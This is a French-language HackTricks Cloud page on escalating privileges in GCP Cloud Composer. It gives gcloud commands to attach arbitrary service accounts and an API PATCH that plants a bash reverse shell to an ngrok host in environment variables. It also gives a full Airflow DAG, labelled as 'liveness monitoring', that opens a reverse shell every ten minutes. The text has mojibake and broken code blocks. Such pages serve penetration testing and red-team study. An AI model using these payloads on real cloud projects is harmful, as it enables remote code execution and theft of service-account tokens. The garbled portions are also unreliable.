GCP - Composer Privesc
Tip
Apprenez & pratiquez AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Soutenez HackTricks
- Consultez les subscription plans!
- Rejoignez le đŹ Discord group ou le telegram group ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des hacking tricks en soumettant des PRs aux HackTricks et HackTricks Cloud github repos.
composer
Plus dâinformations dans :
composer.environments.create
Il est possible dâattacher nâimporte quel service account au nouvel environment composer créé avec cette permission. Ensuite, vous pourrez exĂ©cuter du code Ă lâintĂ©rieur de composer pour voler le token du service account.
Créer un environment Composer avec un service account attaché
```bash gcloud composer environments create privesc-test \ --project "${PROJECT_ID}" \ --location europe-west1 \ --service-account="${ATTACK_SA}@${PROJECT_ID}.iam.gserviceaccount.com" ```Plus dâinformations sur lâexploitation here.
composer.environments.update
Il est possible de mettre Ă jour lâenvironnement composer, par exemple en modifiant les variables dâenvironnement :
Mettre à jour les variables d'environnement Composer pour l'exécution de code
```bash # Even if it says you don't have enough permissions the update happens gcloud composer environments update \ projects/Call the API endpoint directly
PATCH /v1/projects/
{âconfigâ: {âsoftwareConfigâ: {âenvVariablesâ: {âBROWSERâ: â/bin/bash -c âbash -i >& /dev/tcp/2.tcp.eu.ngrok.io/1890 0>&1â & #%sâ, âPYTHONWARNINGSâ: âall:0:antigravity.x:0:0â}}}}
</details>
TODO : Obtenir une RCE en ajoutant de nouveaux packages pypi Ă l'environnement
### Télécharger Dags
Vérifiez le code source des dags en cours d'exécution :
<details><summary>Exporter et télécharger les DAGs depuis l'environnement Composer</summary>
```bash
mkdir /tmp/dags
gcloud composer environments storage dags export --environment <environment> --location <loc> --destination /tmp/dags
Importer des Dags
Ajoutez le code python du DAG dans un fichier et importez-le en exécutant :
Importer un DAG malveillant dans l'environnement Composer
```bash # TODO: Create dag to get a rev shell gcloud composer environments storage dags import --environment test --location us-central1 --source /tmp/dags/reverse_shell.py ```DAG de reverse shell :
Code Python DAG pour reverse shell
```python import airflow from airflow import DAG from airflow.operators.bash_operator import BashOperator from datetime import timedeltadefault_args = { âstart_dateâ: airflow.utils.dates.days_ago(0), âretriesâ: 1, âretry_delayâ: timedelta(minutes=5) }
dag = DAG( âreverse_shellâ, default_args=default_args, description=âliveness monitoring dagâ, schedule_interval=â*/10 * * * *â, max_active_runs=1, catchup=False, dagrun_timeout=timedelta(minutes=10), )
priority_weight has type int in Airflow DB, uses the maximum.
t1 = BashOperator( task_id=âbash_revâ, bash_command=âbash -i >& /dev/tcp/0.tcp.eu.ngrok.io/14382 0>&1â, dag=dag, depends_on_past=False, priority_weight=2**31 - 1, do_xcom_push=False)
</details>
### AccÚs en écriture au bucket Composer
Tous les composants d'un environnement Composer (DAGs, plugins et données) sont stockés dans un bucket GCP. Si un attaquant dispose des permissions de lecture et d'écriture sur celui-ci, il peut surveiller le bucket et **lorsqu'un DAG est créé ou mis à jour, soumettre une version backdoored** afin que l'environnement Composer récupÚre depuis le stockage la version backdoored.
Obtenez plus d'informations sur cette attaque dans :
<a class="content_ref" href="gcp-storage-privesc.md"><span class="content_ref_label">GCP - Storage Privesc</span></a>
### Importer des plugins
TODO: Vérifier ce qu'il est possible de compromettre en téléversant des plugins
### Importer des données
TODO: Vérifier ce qu'il est possible de compromettre en téléversant des données
> [!TIP]
> Apprenez & pratiquez AWS Hacking:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://hacktricks-training.com/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> Apprenez & pratiquez GCP Hacking: <img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://hacktricks-training.com/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> Apprenez & pratiquez Az Hacking: <img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training Azure Red Team Expert (AzRTE)**](https://hacktricks-training.com/courses/azrte)<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
>
> <details>
>
> <summary>Soutenez HackTricks</summary>
>
> - Consultez les [**subscription plans**](https://github.com/sponsors/carlospolop)!
> - **Rejoignez le** đŹ [**Discord group**](https://discord.gg/hRep4RUj7f) ou le [**telegram group**](https://t.me/peass) ou **suivez-nous** sur **Twitter** đŠ [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
> - **Partagez des hacking tricks en soumettant des PRs aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
>
> </details>
HackTricks Cloud

